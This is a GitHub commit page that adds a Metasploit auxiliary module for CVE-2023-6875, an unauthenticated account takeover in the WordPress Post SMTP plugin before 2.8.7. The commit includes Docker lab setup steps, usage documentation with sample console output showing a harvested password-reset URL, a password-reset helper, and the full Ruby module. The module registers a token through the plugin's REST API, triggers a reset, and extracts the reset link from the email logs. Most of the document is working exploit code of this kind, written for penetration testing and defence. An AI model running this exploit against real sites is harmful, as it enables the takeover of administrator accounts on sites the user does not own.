Skip to content

Commit

Permalink
Land #19596, Wordpress Plugin Post SMTP Account Takeover
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 authored Nov 29, 2024
2 parents f2e5dd6 + 1906646 commit c4b7954
Show file tree
Hide file tree
Showing 4 changed files with 236 additions and 0 deletions.
1 change: 1 addition & 0 deletions data/wordlists/wp-exploitable-plugins.txt
Original file line number Diff line number Diff line change
Expand Up @@ -65,3 +65,4 @@ hash-form
give
ultimate-member
wp-fastest-cache
post-smtp
Original file line number Diff line number Diff line change
@@ -0,0 +1,105 @@
## Vulnerable Application

The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege
escalation where an unauthenticated user is able to reset the password
of an arbitrary user. This is done by requesting a password reset, then
viewing the latest email logs to find the associated password reset email.

### Install

1. Create `wp_post_smtp_acct_takeover.docker-compose.yml` with the content:
```
version: '3.1'
services:
wordpress:
image: wordpress:latest
restart: always
ports:
- 5555:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: chocapikk
WORDPRESS_DB_PASSWORD: dummy_password
WORDPRESS_DB_NAME: exploit_market
mem_limit: 512m
volumes:
- wordpress:/var/www/html
db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: exploit_market
MYSQL_USER: chocapikk
MYSQL_PASSWORD: dummy_password
MYSQL_RANDOM_ROOT_PASSWORD: '1'
volumes:
- db:/var/lib/mysql
volumes:
wordpress:
db:
```
2. `docker-compose -f wp_post_smtp_acct_takeover.docker-compose.yml up`
3. `wget https://downloads.wordpress.org/plugin/post-smtp.2.8.6.zip`
4. `unzip post-smtp.2.8.6.zip`
5. `docker cp post-smtp <wordpress_container_id>:/var/www/html/wp-content/plugins`
6. Complete the setup of wordpress
7. Enable the post-smtp plugin, select "default" for the SMTP service
1. Complete the setup using random information, it isn't validated.
8. Update permalink structure per https://github.com/rapid7/metasploit-framework/pull/18164#issuecomment-1623744244
1. Settings -> Permalinks -> Permalink structure -> Select "Post name" -> Save Changes.


## Verification Steps

1. Install the vulnerable plugin
2. Start msfconsole
3. Do: `use auxiliary/admin/http/wp_post_smtp_acct_takeover`
4. Do: `set rhost 127.0.0.1`
5. Do: `set rport 5555`
6. Do: `set ssl false`
7. Do: `set username <username>`
8. Do: `set verbose true`
9. Do: `run`
10. Visit the output URL to reset the user's password.

## Options

### USERNAME

The username to perform a password reset against

## Scenarios

### Wordpress 6.6.2 with SMTP Post 2.8.6 on Docker

```
msf6 > use auxiliary/admin/http/wp_post_smtp_acct_takeover
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rport 5555
rport => 5555
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set ssl false
ssl => false
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set username admin
username => admin
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set verbose true
verbose => true
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > run
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/post-smtp/readme.txt
[*] Found version 2.8.6 in the plugin
[+] The target appears to be vulnerable.
[*] Attempting to Registering token fUefO7U12dXtb0DM on device GP3tOFuMfFErw
[+] Succesfully created token: fUefO7U12dXtb0DM
[*] Requesting logs
[*] Requesting email content from logs for ID 4
[+] Full text of log saved to: /home/mtcyr/.msf4/loot/20241029142103_default_127.0.0.1_wordpress.post_s_367186.txt
[+] Reset URL: http://127.0.0.1:5555/wp-login.php?action=rp&key=4kxMwfuvyQtcUDVrh985&login=admin&wp_lang=en_US
[*] Auxiliary module execution completed
```
15 changes: 15 additions & 0 deletions lib/msf/core/exploit/remote/http/wordpress/users.rb
Original file line number Diff line number Diff line change
Expand Up @@ -63,4 +63,19 @@ def wordpress_userid_exists?(user_id)
end
end

# Performs a password reset for a user
#
# @param user [String] Username
# @return [Boolean] true if the request was successful
def reset_user_password(user)
res = send_request_cgi({
'method' => 'POST',
'uri' => wordpress_url_login,
'vars_get' => { 'action' => 'lostpassword' },
'vars_post' => { 'user_login' => user, 'redirect_to' => '', 'wp-submit' => 'Get New Password' }
})
return false unless res&.code == 200

true
end
end
115 changes: 115 additions & 0 deletions modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,115 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress POST SMTP Account Takeover',
'Description' => %q{
The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege
escalation where an unauthenticated user is able to reset the password
of an arbitrary user. This is done by requesting a password reset, then
viewing the latest email logs to find the associated password reset email.
},
'Author' => [
'h00die', # msf module
'Ulysses Saicha', # Discovery, POC
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-6875'],
['URL', 'https://github.com/UlyssesSaicha/CVE-2023-6875/tree/main'],
],
'DisclosureDate' => '2024-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'Username to password reset', '']),
]
)
end

def register_token
token = Rex::Text.rand_text_alphanumeric(10..16)
device = Rex::Text.rand_text_alphanumeric(10..16)
vprint_status("Attempting to Registering token #{token} on device #{device}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'),
'headers' => { 'fcm-token' => token, 'device' => device }
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely not vulnerable') if res.code == 401
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely unpredicted URL structure') if res.code == 404
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
print_good("Succesfully created token: #{token}")
return token, device
end

def check
unless wordpress_and_online?
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
end

checkcode = check_plugin_version_from_readme('post-smtp', '2.8.7')
if checkcode == Msf::Exploit::CheckCode::Safe
return Msf::Exploit::CheckCode::Safe('POST SMTP version not vulnerable')
end

checkcode
end

def run
fail_with(Failure::NotFound, "#{datastore['USERNAME']} not found on this wordpress install") unless wordpress_user_exists? datastore['USERNAME']
token, device = register_token
fail_with(Failure::UnexpectedReply, "Password reset for #{datastore['USERNAME']} failed") unless reset_user_password(datastore['USERNAME'])
print_status('Requesting logs')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'),
'headers' => { 'fcm-token' => token, 'device' => device }
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
json_doc = res.get_json_document
# we want the latest email as that's the one with the password reset
doc_id = json_doc['data'][0]['id']
print_status("Requesting email content from logs for ID #{doc_id}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'),
'headers' => { 'fcm-token' => token, 'device' => device },
'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id }
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200

path = store_loot(
'wordpress.post_smtp.log',
'text/plain',
rhost,
res.body,
"#{doc_id}.log"
)
print_good("Full text of log saved to: #{path}")
# https://rubular.com/r/DDQpKElcH42Qxg
# example URL http://127.0.0.1:5555/wp-login.php?action=rp&key=vy0MNNZZeykpDMArmJgu&login=admin&wp_lang=en_US
if res.body =~ /^(.*key=.+)$/
print_good("Reset URL: #{::Regexp.last_match(1)}")
return
end
print_bad('Reset URL not found, manually review log stored in loot.')
end
end

0 comments on commit c4b7954

Please sign in to comment.